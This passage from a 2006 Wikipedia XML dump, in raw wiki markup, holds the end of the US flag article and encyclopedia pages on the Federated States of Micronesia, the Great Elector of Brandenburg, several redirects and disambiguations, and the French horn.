|- valign=&quot;top&quot;
| 50 || [[Image:Flag of the United States.svg|125px]] || [[Hawaii]] || [[July 4]], [[1960]]&amp;mdash; 
| style=&quot;text-align:left;top&quot; | 45+
|}

===Symmetry===
[[Image:us flag large 51 stars.png|thumb|right|Proposed design for a [[U.S. 51 star flag|51-star flag]] in the event of an additional state]]

*[[Symmetry]] with respect to horizontal axis: 50, 49, 48, 46, 44, 38, 37, 36, 34, 33, 32, 30, 28, 26, 24, 20, 15, 13 (standard)
*Symmetry with respect to vertical axis: 51, 50, 48, 46, 45, 44, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 21, 20, 15, 13 (standard and Betsy Ross)
*Both, hence also point symmetry: 50, 48, 46, 45, 44, 37, 36, 34, 33, 32, 28, 26, 24, 20, 15, 13 (standard)
*No symmetry: 43
*Chessboard pattern: 51, 50, 49, 45, 15, 13 (standard)
*Rectangle of stars: 48, 35, 30, 28, 24, 20

==Future of the flag==
The [[United States Army]]'s [[Institute of Heraldry]] has plans for flags with up to 56 stars using a similar staggered star arrangement in case additional states accede.

There are ongoing statehood movements in [[New Progressive Party of Puerto Rico|Puerto Rico]], the [[District of Columbia voting rights|District of Columbia]], and [[New York City secession|New York City]].  Other [[insular area]]s such as the [[U.S. Virgin Islands]], the [[Northern Mariana Islands]], [[Guam]], and [[American Samoa]] may eventually become states as well.

== See also ==
{{commons|Category:Flags of the United States}}
*[[Robert G. Heft]], designer of the current flag.
*[[Flags of the U.S. states]]
*[[Flags of the United States armed forces]]
*[[Flags of the Confederate States of America]]
*[[Flag desecration#The United States|Flag desecration in the United States]]
*[[Colours and guidons#US Army Colors|United States Army Colors]]

== References ==
; [ContCong] : ''[http://lcweb2.loc.gov/ammem/amlaw/lwjc.html Journals of the Continental Congress, 1774-1789]'', ed. Worthington C. Ford et al. (Washington, D.C., 1904-37).
; [USFlag.org] : {{cite web
 | url = http://www.usflag.org/colors.html
 | title = What do the colors of the Flag mean?
 | work = USFlag.org: A website dedicated to the Flag of the United States of America
 | accessdate = June 14
 | accessyear = 2005
 }}
; [USGov] : {{ cite book
 | author = U.S. Government
 | title = Our Flag
 | publisher = U.S. Government Printing Office
 | location = Washington DC
 | year = 1861
 | id = S. Doc 105-013
 | url = http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=105_cong_documents&amp;docid=f:sd013.105.pdf
 }} (''Available as a 1.78 MB PDF at GPO Access'')

== External links ==
* {{FOTW|id=us|title=United States}}
* [http://www.ushistory.org/betsy/flagetiq.html U.S. Flag Etiquette (ushistory.org)]
* [http://www.usflag.org/ The United States Flag Page]
* [http://www.si.edu/resource/faq/nmah/flag.htm Encyclopedia Smithsonian: Facts About the United States Flag]
* [http://www.access.gpo.gov/uscode/title4/chapter1_.html The Flag Code--U.S. Code Home: Title 4, Flag and Seal, Seat of Government, and the States--Chapter 1, The Flag]
** Provides details about the design of the flag, treatment of the flag, the pledge of allegiance, etc.
* [http://assembler.law.cornell.edu/uscode/html/uscode04/usc_sec_04_00000001----000-notes.html Executive Order No. 10798], with specifications and regulations for the current flag
*[http://mysite.verizon.net/vzeo1z2a/YellowFlag.html The Significance of the &quot;Yellow Fringed Flag&quot;]
* [http://bensguide.gpo.gov/3-5/symbols/flag.html Ben's Guide (3-5): Symbols of U.S. Government - Flag of the United States]
* [http://www.westol.com/~beaurega/51flags.htm Designs for flags containing between 51 and 70 stars]
{{nationalflags}}

[[Category:American culture]]
[[Category:Flags of the United States]]
[[Category:Historical flags|United States of America]]
[[Category:National flags|United States]]

[[de:Flagge der USA]]
[[eo:Usona flago]]
[[es:Bandera de los Estados Unidos]]
[[et:Ameerika Ühendriikide lipp]]
[[fi:Yhdysvaltain lippu]]
[[fr:Drapeau des États-Unis]]
[[he:דגל ארצות הברית]]
[[hu:Amerikai Egyesült Államok zászlaja]]
[[it:Bandiera statunitense]]
[[ja:アメリカ合衆国の国旗]]
[[ko:미국의 국기]]
[[lt:JAV vėliava]]
[[lv:Amerikas Savienoto Valstu karogs]]
[[nl:Vlag van de Verenigde Staten]]
[[no:Amerikas forente staters flagg]]
[[pl:Flaga Stanów Zjednoczonych]]
[[pt:Bandeira dos Estados Unidos da América]]
[[ro:Steagul SUA]]
[[simple:Flag of the United States]]
[[sv:USA:s flagga]]
[[zh:美国国旗]]</text>
    </revision>
  </page>
  <page>
    <title>Federated States of Micronesia</title>
    <id>11448</id>
    <revision>
      <id>41746069</id>
      <timestamp>2006-03-01T13:07:46Z</timestamp>
      <contributor>
        <username>Beland</username>
        <id>57939</id>
      </contributor>
      <comment>/* History */ Move non-sensical flag statement to talk page</comment>
      <text xml:space="preserve">The '''Federated States of Micronesia''' comprise a [[republic]] located in the [[Pacific Ocean]], northeast of [[Papua New Guinea]].  The country is a sovereign state in [[Associated state|free association]] with the [[United States]].

The Federated States of Micronesia were formerly part of the [[Trust Territory of the Pacific Islands]], a [[United Nations]] Trust Territory under US administration. In 1979 they adopted a constitution, and in 1986 independence was attained under a [[Compact of Free Association]] with the United States. Present concerns include large-scale unemployment, overfishing, and overdependence on U.S. aid.

The Federated States of Micronesia are located in the region known as [[Micronesia]], which consists of hundreds of small islands divided in seven territories. The term ''Micronesia'' may refer to the Federated States or to the region as a whole.
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Federated States of Micronesia'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of Micronesia.svg|125px|right|]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Fm CoA.jpg|100px|Micronesia COA]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Flag of the Federated States of Micronesia|In Detail]])
| ([[Coat of Arms of the Federated States of Micronesia|In Detail]])
|}
|-
| align=center style=&quot;vertical-align: top;&quot; colspan=2 | &lt;small&gt;''[[National motto]]: Peace Unity Liberty''&lt;/small&gt;
|-
| align=center colspan=2 style=&quot;background: #ffffff;&quot; | [[image:LocationMicronesia.png]]
|-
| '''[[Official language]]'''
| [[English language|English]]
|-
| '''[[Capital]]'''
| [[Palikir]]
|-
| '''[[President of the Federated States of Micronesia|President]]'''
| [[Joseph J. Urusemal]]
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 173rd]] &lt;br&gt; 702[[square kilometre|km&amp;sup2;]] &lt;br&gt; Negligible
|-
| '''[[Population]]'''&lt;br&gt;&amp;nbsp;- Total (2000)&lt;br&gt;&amp;nbsp;- [[Population density|Density]]
| '''[[List of countries by population|Ranked 178th]]'''&lt;br&gt; 135,869&lt;br&gt; 194/km&amp;sup2;
|-
| '''[[Gross Domestic Product|GDP]]''' (PPP)&lt;br&gt;&amp;nbsp;- Total (1997)&lt;br&gt;&amp;nbsp;- GDP/head
| [[List of countries by GDP|Ranked 173rd]]&lt;br&gt;240 millions $ &amp;sup1;&lt;br&gt; 2,000 $
|-
| '''[[Human Development Index|HDI]]''' (2003) || [[List of countries by Human Development Index|NA]] – &lt;font color=gray&gt;unranked&lt;/font&gt; 
|-
| '''[[Currency]]'''
| [[United States dollar]]
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]] +10 ([[Daylight Saving Time|no DST]])
|-
| '''[[Independence]]'''&lt;br&gt;&amp;nbsp;- Declared&lt;br&gt;&amp;nbsp;- Recognised
| From the [[United States|U.S.]]&lt;br&gt;(1986)&lt;br&gt;(1986)
|-
| '''[[National anthem]]'''
| ''[[Patriots of Micronesia]]''
|-
| '''[[Top-level domain|Internet TLD]]'''
| [[.fm]]
|-
| '''[[List of country calling codes|Calling Code]]'''
| +691
|-
| colspan=2 | &lt;sup&gt;1&lt;/sup&gt; &lt;small&gt;GDP is supplemented by aid, averaging perhaps $100 million annually&lt;/small&gt;
|}
== History ==
''Main article: [[History of the Federated States of Micronesia]]''

The ancestors of the Micronesians settled over 4,000 years ago. A decentralized chieftain-based system eventually evolved into a more centralized economic and religious empire centered on [[Yap]]. 

[[Nan Madol]], consisting of a series of small [[artificial island]]s linked by a network of canals, is often called the Venice of the Pacific. It is located near the island of [[Pohnpei]] and used to be the ceremonial and political seat of the Saudeleur dynasty that united Pohnpei's estimated 25,000 people from about AD 500 until 1500, when the centralized system collapsed.

European explorers - first the [[Portugal|Portuguese]] in search of the [[Spice Islands]] ([[Indonesia]]) and then the [[Spain|Spanish]] - reached the [[Carolines]] in the 16th century, with the Spanish establishing sovereignty. It passed from [[Germany|German]] control (1899), via [[Japan]]ese (1914) to the United States under [[United Nations]] auspices in 1947 as part of the Trust Territory of the Pacific Islands.

During [[World War II]], a significant portion of the [[Japan]]ese fleet was based in Truk Lagoon. In February 1944, [[Operation Hailstone]], one of the most important naval battles of the war, took place at Truk, in which many Japanese support vessels and aircraft were destroyed.

On [[May 10]], [[1979]], four of the Trust Territory districts ratified a new constitution to become the Federated States of Micronesia. The FSM signed a Compact of Free Association with the [[United States|United States of America]], which entered into force on [[November 3]], [[1986]], marking Micronesia's emergence from trusteeship to independence.

== Politics ==
''Main article: [[Politics of the Federated States of Micronesia]]''

The Federated States of Micronesia are governed by the 1979 constitution, which guarantees fundamental human rights and establishes a separation of governmental powers. The unicameral Congress has 14 members elected by popular vote. Four senators - one from each state - serve 4-year terms; the remaining 10 senators represent single-member districts based on population, and serve 2-year terms. The President and vice president are elected by Congress from among the four state-based senators to serve 4-year terms in the executive branch. Their congressional seats are then filled by special elections. The president and vice president are supported by an appointed cabinet. There are no formal political parties.

In international politics, the Federated States of Micronesia are traditionally known as keen supporters of the State of [[Israel]], voting almost consistently in its favor at the [[United Nations General Assembly]].

== Geography ==
''Main article: [[Geography of the Federated States of Micronesia]]''

[[Image:CIA-FSM.jpg|thumb|right|425px|Map of the Federated States of Micronesia]]

It consists of 607 islands extending 1,800 miles across the archipelago of the [[Caroline Islands]] east of the [[Philippines]]. The four constituent island groups are [[Yap]], [[Chuuk]] (called Truk until January 1990), [[Pohnpei]] (called Ponape until November 1984), and [[Kosrae]]. These four states are each represented by a white star on the national flag. The capital is [[Palikir]], on Pohnpei.

== Economy ==
''Main article: [[Economy of the Federated States of Micronesia]]''

Economic activity of the Federated States of Micronesia consists primarily of subsistence farming and fishing. The islands have few mineral deposits worth exploiting, except for high-grade phosphate. The potential for a tourist industry exists, but the remoteness of the location and a lack of adequate facilities hinder development. Financial assistance from the US is the primary source of revenue, with the US pledged to spend $1.3 billion in the islands in 1986-2001. Geographical isolation and a poorly developed infrastructure are major impediments to long-term growth.

== Demographics ==
''Main article: [[Demographics of the Federated States of Micronesia]]''

The indigenous population of the Federated States of Micronesia, which is predominantly Micronesian, consists of various ethnolinguistic groups. English has become the common language. Population growth remains high at more than 3%, ameliorated somewhat by net emigration.

Pohnpei is notable for the prevalence of the extreme form of [[color blindness]] known as [[maskun]].

== Culture ==
''Main article: [[Culture of the Federated States of Micronesia]].''

Each of the four States has its own culture and traditions, but there are also common cultural and economic bonds that are centuries old. For example, cultural similarities like the importance of the traditional extended family and clan systems can be found on all the islands.

[[Image:Yap_Stone_Money.jpg|thumb|A large (approximately 8 feet in height) example of Yapese stone money in the village of Gachpar.]]

The island of Yap is notable for its '''stone money''' (see photograph at right), large disks usually of calcite, up to 4 m (12 ft) in diameter, with a hole in the middle. The islanders know who owns which piece, but do not necessarily move them when ownership changes. There are five major types: ''Mmbul'', ''Gaw'', ''Ray'', ''Yar'', and ''Reng'', this last being only 0.3 m (1 ft) in diameter. Their value is based on both size and history, many of them having been brought from other islands, as far as [[New Guinea]], but most coming in ancient times from [[Palau]]. Approximately 6,500 of them are scattered around the island.

''See also: [[music of the Federated States of Micronesia]]''

== Miscellaneous topics ==
* [[Communications in the Federated States of Micronesia]]
* [[Foreign relations of the Federated States of Micronesia]]
* [[Military of the Federated States of Micronesia]]
* [[Aloha Council#Scouting in the Federated States of Micronesia|Scouting in the Federated States of Micronesia]]
* [[Transportation in the Federated States of Micronesia]]

== External links ==
* [http://www.janeresture.com/fedmic/index.htm Jane's Federated States of Micronesia Home Page]
* [http://www.mapsouthpacific.com/micronesia/index.html Map of Micronesia]
* [http://www.southpacific.org/micro.html Moon Handbooks Micronesia]
* [http://www.mymicronesia.com myMicronesia.com] Online resource center about the islands of Micronesia. Provides free listings and links to all Micronesian businesses, as well as civic, cultural, health and educational organizations.
* [http://www.uoregon.edu/~wsayres/NanMadol.html Nan Madol islet complex] Provides computer based reconstruction of the main islets and features.
* [http://www.paclii.org/databases.html#FM Pacific Islands Legal Information Institute - Federated States of Micronesia]
* [http://www.anytravels.com/australia/micronesia/ Travel Overview of Micronesia]
* [http://nature.org/wherewework/asiapacific/micronesia/ Environmental conservation in Micronesia]
===Official sites===
* [http://www.fsmgov.org Government of the Federated States of Micronesia]

==References==
# US-CIA. [http://www.cia.gov/cia/publications/factbook/geos/fm.html CIA - The World Factbook: Federated States of Micronesia]. ''The World Factbook''. United States of America: Central Intelligence Agency. 2003.

{{Pacific Islands}}

[[Category:Federated States of Micronesia| ]]
[[Category:Oceanic dependencies|Micronesia]]
[[Category:Freely associated states|Micronesia]]
[[Category:Archipelagoes]]

[[zh-min-nan:Micronesia Liân-pang-kok]]
[[ca:Estats Federats de Micronèsia]]
[[cs:Mikronésie]]
[[da:Mikronesien]]
[[de:Föderierte Staaten von Mikronesien]]
[[et:Mikroneesia Liiduriigid]]
[[es:Estados Federados de Micronesia]]
[[eo:Federacio de Mikronezio]]
[[fr:États fédérés de Micronésie]]
[[ko:미크로네시아 연방]]
[[id:Mikronesia]]
[[it:Stati Federati di Micronesia]]
[[he:מיקרונזיה]]
[[hu:Mikronézia (ország)]]
[[ms:Micronesia]]
[[nl:Micronesia]]
[[nds:Mikronesien]]
[[ja:ミクロネシア連邦]]
[[nn:Mikronesiaføderasjonen]]
[[pl:Mikronezja (państwo)]]
[[pt:Estados Federados da Micronésia]]
[[ru:Федеративные Штаты Микронезии]]
[[sl:Mikronezija]]
[[fi:Mikronesian liittovaltio]]
[[sv:Mikronesiens federerade stater]]
[[th:ประเทศไมโครนีเซีย]]
[[tl:Federated States of Micronesia]]
[[tr:Mikronezya]]
[[zh:密克罗尼西亚联邦]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick William, Elector of Brandenburg</title>
    <id>11449</id>
    <revision>
      <id>42139171</id>
      <timestamp>2006-03-04T02:02:15Z</timestamp>
      <contributor>
        <username>Olessi</username>
        <id>220894</id>
      </contributor>
      <comment>rm duplicate mention of Hohenzollern</comment>
      <text xml:space="preserve">[[image:Friedrich_Wilhelm_I_of_Brandenburg.jpg|thumb|200px|Friedrich Wilhelm I of Brandenburg.]]
:''This article is about the elector of Brandenburg. For the King of Prussia, see [[Frederick William I of Prussia]].''
'''Frederick William''' ([[German language|German]]: ''Friedrich Wilhelm'') ([[February 16]] [[1620]] - [[April 29]] [[1688]]) of the House of [[Hohenzollern]], was the [[Prince-elector|Elector]] of [[Elector of Brandenburg|Brandenburg]] and the [[Duke]] of [[Ducal Prussia|Prussia]] from [[1640]] until his [[death]]. He is popularly known as the '''Großer Kurfürst''' (&quot;'''Great Elector'''&quot;).

== Biography ==

Frederick William was born in [[Berlin]] to [[George William of Brandenburg]] and [[Elisabeth Charlotte of the Palatinate]]. His inheritance consisted of the [[Marches|March]] of Brandenburg, ravaged during the [[Thirty Years' War]], and Ducal Prussia. During the war George William had striven to maintain with a minimal army a delicate balance between the [[Protestantism|Protestant]] and [[Roman Catholicism|Catholic]] forces fighting throughout the [[Holy Roman Empire]]. Out of these meager beginnings Frederick William managed to rebuild the country. With the help of [[France|French]] [[subsidy|subsidies]], he built up an army to defend the country. Through the Treaties of [[Treaty of Wehlau|Wehlau]], [[Treaty of Labiau|Labiau]], and [[Treaty of Oliva|Oliva]], Frederick William succeeded in revoking [[Kingdom of Poland|Polish]] sovereignty over the Duchy of Prussia, leaving the [[Holy Roman Emperor]] as his only [[liege]].

Frederick William is notable for raising an [[army]] of 40,000 [[soldier]]s by [[1678]], aided by the [[General War Commissariat]]. He was an advocate of [[mercantilism]], [[monopoly|monopolies]], subsidies, [[tariff]]s, and [[internal improvements]]. Following King [[Louis XIV of France|Louis XIV]] of France's revocation of the [[Edict of Nantes]], he encouraged skilled [[French people|French]] and [[Walloons|Walloon]] [[Huguenot]]s to emigrate to [[Brandenburg-Prussia]], bolstering the country's technical and industrial base. He agreed to exempt the [[nobility]] from [[tax]]es and in return they agreed to dissolve the [[The States|Estates-General]]. He also simplified travel in Brandenburg and Ducal Prussia by connecting riverways with [[canal]]s, a system that was expanded by later [[Kingdom of Prussia]]n architects, such as [[Georg Steenke]]; the system is still in use today.

On [[7 December]] [[1646]] at [[The Hague]], he married [[Luise Henriette of Nassau]] (1627-1667), daughter of [[Frederick Henry, Prince of Orange|Frederick Henry of Orange-Nassau]] and [[Amalia von Solms|Amalia of Solms-Braunfels]]. Their children were William Henry (1648-1649), Charles (1655-1674), his successor [[Frederick I of Prussia|Frederick]] (1657-1713), Amalie (1656-1664), Henry (1664-1664), and Louis (1666-1687).

On [[13 June]] [[1668]] at [[Groningen (city)|Groningen]], he married Sophie Dorothea of [[Holstein-Glücksburg]], daughter of Philipp of [[Holstein-Sonderburg-Glücksburg]] and Sophie Hedwig of [[Saxe-Lauenburg]]. Their children were Philip William (1669-1711), Marie Amalie (1670-1739), Albert Frederick (1672-1731), Charles (1673-1695), Elisabeth Sofie (1674-1748), Dorothea (1675-1676), and Christian Louis (1677-1734).

{{start box}}
{{succession box |
  before=[[George William of Brandenburg|George William]] |
  title=[[Elector of Brandenburg]] |
  years=1640-1688 |
  after=[[Frederick I of Prussia|Frederick III]]
}}
{{end box}}

[[Category:1620 births]]
[[Category:1688 deaths]]
[[Category:Electors of Brandenburg]]
[[Category:House of Hohenzollern]]
[[Category:Knights of the Garter]]

[[da:Frederik Vilhelm den store af Brandenburg-Preussen]]
[[de:Friedrich Wilhelm (Brandenburg)]]
[[fr:Frédéric Guillaume Ier de Brandebourg]]
[[nl:Frederik Willem I van Brandenburg]]
[[ja:フリードリヒ・ヴィルヘルム (ブランデンブルク選帝侯)]]
[[pl:Fryderyk Wilhelm Hohenzollern (Wielki Elektor)]]
[[sv:Fredrik Vilhelm av Brandenburg]]
[[uk:Фрідріх Вільгельм]]</text>
    </revision>
  </page>
  <page>
    <title>Friedrich II</title>
    <id>11450</id>
    <revision>
      <id>15909195</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>David Parker</username>
        <id>42</id>
      </contributor>
      <comment>Redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Frederick II, Margrave of Brandenburg]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick I William of Prussia</title>
    <id>11451</id>
    <revision>
      <id>15909196</id>
      <timestamp>2004-09-01T00:33:56Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Frederick I of Prussia]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick V</title>
    <id>11454</id>
    <revision>
      <id>22612000</id>
      <timestamp>2005-09-05T10:11:38Z</timestamp>
      <contributor>
        <username>Robotje</username>
        <id>100235</id>
      </contributor>
      <comment>+ nl:</comment>
      <text xml:space="preserve">There are many different people who may be referred to as '''Frederick V''' or '''Friedrich V'''.  They are listed here in chronological order: 

*[[Friedrich V, Burggraf of Hohenzollern-Nürnberg]] (before 1333 - 1398)
*[[Friedrich V, Count of Leiningen]] (died 1327)
*[[Friedrich V of Castell]], (fl. 1364)
*Friedrich V, Margrave von Brandenburg-Ansbach-Bayreuth, also known as [[Frederick I, Margrave of Brandenburg-Ansbach]] ([[May 8]], [[1460]] - [[April 4]], [[1536]])
*[[Friedrich V von Baden-Durlach]] (1594-1659)
*[[Friedrich V von der Pfalz]] ([[August 16]], [[1596]] -[[November 29]], [[1632]]), also known as [[Frederick V, Elector Palatine]].
*[[Frederick V of Denmark|Frederik V, King of Denmark and Norway]] (ruled 1746-1766)
*[[Friedrich V, Landgraf of Hesse-Homburg]] (1748-1820)
*[[Friedrich V of Salm-Kyrburg]] (1823-1887)

{{disambig}}

[[nl:Frederik V]]</text>
    </revision>
  </page>
  <page>
    <title>Friedrich Wilhelm I</title>
    <id>11455</id>
    <revision>
      <id>15909199</id>
      <timestamp>2005-03-10T20:28:33Z</timestamp>
      <contributor>
        <ip>67.182.165.183</ip>
      </contributor>
      <comment>clarifying</comment>
      <text xml:space="preserve">Monarchs with this title were:

*[[Friedrich Wilhelm I of Brandenburg]], Duke of [[Prussia]]
*[[Friedrich Wilhelm I of Prussia]] of Brandenburg-Prussia

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Horn (instrument)</title>
    <id>11456</id>
    <revision>
      <id>42064142</id>
      <timestamp>2006-03-03T15:41:17Z</timestamp>
      <contributor>
        <username>Misza13</username>
        <id>330574</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/167.93.8.250|167.93.8.250]] to last version by Hairy Dude</comment>
      <text xml:space="preserve">{{Infobox Instrument
|color1=#FFD700
|color2=#FFEC8B
|name=Horn
|names=[[English language|en:]]&amp;nbsp;''(french) horn'', [[Italian language|it:]]&amp;nbsp;''corno'', [[spanish language|es:]]&amp;nbsp;''trompa, corno'', [[French language|fr:]]&amp;nbsp;''cor'', [[German Language|de:]] ''horn''
|image=French_horn.jpg
|classification=
*[[Wind instrument|Wind]]
*[[Brass instrument|Brass]]
*[[Aerophone]]
|range=[[Image:Range_frenchhorn.png|130px|center]]&lt;small&gt;in F: sounds one [[perfect fifth|fifth]] lower&lt;/small&gt;
|related=[[Wagner tuba]], [[Kornett (Instrument)|Kornett]], [[Flügelhorn]]
|articles=[[List of Horn Players]] &lt;br/&gt; [[List of Horn Makers]] &lt;br/&gt; [[List of Horn Techniques]] &lt;br/&gt; [[List of compositions for horn]]
}}&lt;!-- | [[Media:horn.ogg]]--&gt;&lt;!-- removed range as it's in the box above
[[Image:Range frenchhorn.png|thumb|200px|Typical playing range of a horn (notes sounding a perfect 5th   lower than written) ]]
--&gt;
The '''horn''' is a [[brass instrument]] that consists of tubing wrapped into a coiled form.  The instrument was first developed in France in about 1650 from the ''cor de chasse'' or hunting horn, and has been known as the '''French horn''' since it was refined and improved in England in 1750, although musicians, and particularly players of the instrument, generally refer to it simply as the horn.

The horn (like the [[cornet]] and [[Saxhorns]] but unlike the [[trumpet]] and [[trombone]]) has a tapered bore, steadily increasing in diameter along its length. Unlike most other valved brass instruments, which use [[piston valve]]s, the French horn uses [[rotary valve]]s, which take up much less room but are slower in action. Compared to the other brass instruments commonly found in the [[orchestra]], the typical range of the horn is set an octave higher in its [[harmonic series (music)|harmonic series]], facilitated by its small, deep [[mouthpiece]], giving it its characteristic &quot;mellow&quot; tone.  The typical [[playing range]] of a horn goes from the written F at the bottom of the staff in [[bass clef]] to the C above the staff in [[treble clef]].

The horn is notoriously difficult to play.  Its harmonics are such that notes are unusually close together and it is easy to miss a note. The narrow mouthpipe and backward-facing bell also make it musically inefficient, but attempts to cure these problems have always resulted in a loss of its unique sound.

== History ==

[[Image:French-horn.png|left|250px]]
[[Image:How to shout and blow Horns Fac simile of a Miniature in the Manuscript of Phoebus Fifteenth Century.png|thumb|right|&quot;How to shout and blow Horns.&quot;--Facsimile of a miniature in the Manuscript of Phoebus (15th century)]]

Early horns were much simpler than those in current use.  These early horns were simply brass tubing wound a few times and flared into a larger opening at the end (called the ''bell'' of the horn).  They evolved from the early hunting horns and, as such, were meant to be played while riding on a horse.  The hornist would grip the horn on the piping near the mouthpiece and rest the body of the horn across his arm so that only one hand was needed to play and the other could be free to guide his steed.  The only way to change the pitch was to use the natural [[harmonic]]s of that particular length of tubing by changing the speed at which the lips vibrated against the mouthpiece; but by using a long tube and playing high in the [[harmonic series (music)|harmonic series]], considerable melodic variety was possible. The best-know example from this era is the Quoniam from [[JS Bach]]'s [[Mass in B minor]].

Later, horns caught the interest of composers, and were used to invoke an outdoors feeling and the idea of the chase.  Even in the time of [[Wolfgang Amadeus Mozart]], however, the horn player (now a part of the early orchestra) still had a much simpler version of the horn; he carried with him a set of ''[[crook (music)|crook]]s'', which were curved pieces of tube of different length which could be used to change the length of the horn by removing part of the tubing and inserting a different length piece.  The player now held the horn with both hands, holding the tubing near the mouthpiece with one, and putting the other into the bell, which was either rested upon the right knee of the player or the entire horn was lifted into the air.  Now the pitch played could be changed in several ways.  First the player could change the harmonic series which the instrument as a whole had by removing and inserting different sized crooks into the instrument, changing the length of the horn itself.  Less globally, given a particular crook, the vibration of the lips could be varied in speed, thus moving to a different pitch on the given harmonic series.  Finally, now that the player had his hand in the bell, the hand became an extension on the length of the horn, and by closing and opening the space available for air to leave the bell, he could bend the pitch to interpolate between the elements of a harmonic series.  This interpolation finally made the horn a true melodic instrument, not simply limited to a harmonic series, and some of the great composers started to write concerti for this new instrument.  The [[Mozart Horn Concerti]], for example, were written for this type of horn, called the [[natural horn]] in the modern literature.

Around [[1815]], the horn took on a new form, as valves were introduced, which allowed the player to switch between crooks without the effort of manually removing one from the horn and inserting a new one.  At this same time, the standard horn came to be the horn on the F harmonic series, and there were then three valves added to it.  Using these three valves, the player could play all the notes reachable in the horn's range.

== Types of horns ==
&lt;!--[[Image:French horn.jpg|frame|right|A double horn]]--&gt;
[[Image:French horn detail.jpg|frame|right|The valves of a [[Kruspe]]-style double horn]]

Despite this improvement, the single F horn had a rather irksome flaw.  As the player played higher and higher notes, the distinctions a player had to make with his or her [[embouchure]] from note to note became increasingly precise.  An early solution was simply to use a horn of higher pitch -- usually B-flat.  The relative merits of F versus B-flat were a hotbed of debate between horn players of the late nineteenth century, until the German horn maker [[Kruspe]] produced a prototype of the &quot;'''double horn'''&quot; in 1897.

The double horn combines two instruments into a single frame:  the original horn in F, and a second, higher horn keyed in B-flat.  By using a fourth valve operated by the thumb, the horn player can quickly switch from the deep, warm tones of the F horn to the higher, brighter tones of the B-flat horn.  The two sets of tones are commonly called &quot;sides&quot; of the horn.  In the words of [[Reginald Morley-Pegge]], the invention of the double horn &quot;revolutionized horn playing technique almost as much as did the invention of the valve.&quot; [Morley-Pegge, &quot;Orchestral,&quot; 195]

The two most common styles (&quot;wraps&quot;) of double horns are named [[Kruspe]] and [[Geyer]] (also known as [[Knopf]]), after the first instrument makers to develop and standardize them.  The Kruspe wrap locates the Bb change valve above the first valve, near the thumb.  The Geyer wrap has the change valve behind the third valve, near the pinky finger.  In effect, the air flows in a completely different direction on the other model.  Both models have their own strengths and weaknesses, and are a matter of personal choice among horn players.

=== Specialized horns ===
While most modern instruments are of the F/B-flat double horn variety, various special-purpose instruments are available (usually at a very high price).

* The most common is the '''descant horn''', which is a single horn pitched in F alto, one octave higher than the traditional F horn.  The descant is used largely for extended playing in the high register, such as in [[Johann Sebastian Bach|Bach's]] [[Brandenburg Concerti]].  Double horns in B-flat/High F (or High E-flat) are increasingly popular for works that only use the upper and upper-middle registers of the instrument.

* Single horns in F or B-flat still see use, notably in operatic settings.  Their lighter weight renders them much more suitable for the extended and strenuous playing required of Wagnerian operas. Most beginners are started on a single horn for the sake of simplicity.

* Some horns have been produced as keyed in E-flat, and, not surprisingly, are known as '''E-flat horns'''. These instruments are rare and not generally produced today, but found more popular use in concert or marching band music between the [[1930s]] and [[1950s]].  Often, music-publishing companies would print the parts for an F horn (that is, a normal F/B-flat double horn) on one side of a sheet and the E-flat horn on the reverse. The E-flat horn part would sometimes be the same as the F horn, but written with the same key signature as that of an E-flat alto saxophone and thus transcribed up a whole step from the F horn part. Because in many pieces of marching/concert band music the F hornist and alto saxophonist play virtually the same part (differing only in the actual notes they play on their respectively differently-keyed instruments), the E-flat horn might literally use the exact same part as the E-flat alto saxophone.

* The [[natural horn]] is still used by many horn players. It is helpful for understanding the context for pieces written before valves as it sounds and feels different than the modern horn.

* The '''triple horn''' is the result of merging an F/B-flat double horn with an F-alto descant, adding a fifth valve and an additional set of valve slides.  Early models had problems such as uneven intonation, a difficult lower range, and added weight that made it less than optimal.  However, current triple horns are suitable for work in nearly every register of horn literature. While the double horn remains the most popular instrument, in recent years the triple horn has been gaining more widespread acceptance.

* The '''[[Viennese Horn]]''' is a horn traditionally played in the Vienna Philharmonic. It is a standard single horn with a dual piston mechanism for each valve. [http://iwk.mdw.ac.at/Forschung/english/wrinst/vhorn.htm This page] shows a bit more about the differences between this and the other horns listed above.
[[Image:Viennese horn.jpg|thumbnail|350px|A standard viennese horn.]]

* The '''[[Wagner tuba]]''' is an instrument generally played by the horn players of the orchestra which resembles a mix of a horn and a [[tuba]].

* The '''[[mellophone]]''' is, in appearance, very different from any of the above types of horn, but it is nevertheless used in place of the horn in [[marching band]]s. In fact marching band is the only connection between the horn and the mellophone. This instrument is harmonically much more similar to an elongated trumpet, and is shaped as such. The upside to a mellophone is that it is much easier to march with, but the downside is that the insturment is harder to play in tune due to the fact that the hand cannot be put into the bell.

==See also==

*[[:Category:Horn players]]
*[[List of Horn Players]]
*[[List of compositions for horn]]
*[[List of Horn Techniques]]
*[[List of Horn Makers]]
*[[Cornu (horn)]]

==External links==
{{wikibooks}} &lt;!-- COMMENT: The {{wikibookspar|horn}} template was screwed up as of the date of this edit. Redirecting [[Wikibooks:Horn (instrument)]] to [[Wikibooks:Horn]] for the time being --&gt;
*[http://www.hornsociety.org The International Horn Society]
